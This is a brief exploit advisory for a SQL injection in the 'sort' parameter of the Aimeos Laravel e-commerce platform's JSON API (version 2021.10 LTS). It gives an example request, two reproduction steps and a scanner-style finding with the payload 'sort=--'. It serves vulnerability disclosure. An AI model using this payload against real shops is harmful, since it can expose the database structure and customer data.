# Exploit Title: Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL injection # Date: 20/11/2021 # Exploit Author: Ilker Burak ADIYAMAN # Vendor Homepage: https://aimeos.org # Software Link: https://aimeos.org/laravel-ecommerce-package # Version: Aimeos 2021.10 LTS # Tested on: MacOSX *Description:* The Aimeos E-Commerce framework Laravel application is vulnerable to SQL injection via the 'sort' parameter on the json api. ==================== 1. SQLi ==================== https://127.0.0.1/default/jsonapi/review?sort=-ctime The "sort" parameter is vulnerable to SQL injection, reveals table and column names. step 1 : Copy json api GET request above. step 2 : Change sort parameter value to -- ---------------------------------------------------------------------- Parameter: sort (GET) Type: error based Title: GET parameter 'sort' appears to be injectable Payload: sort=--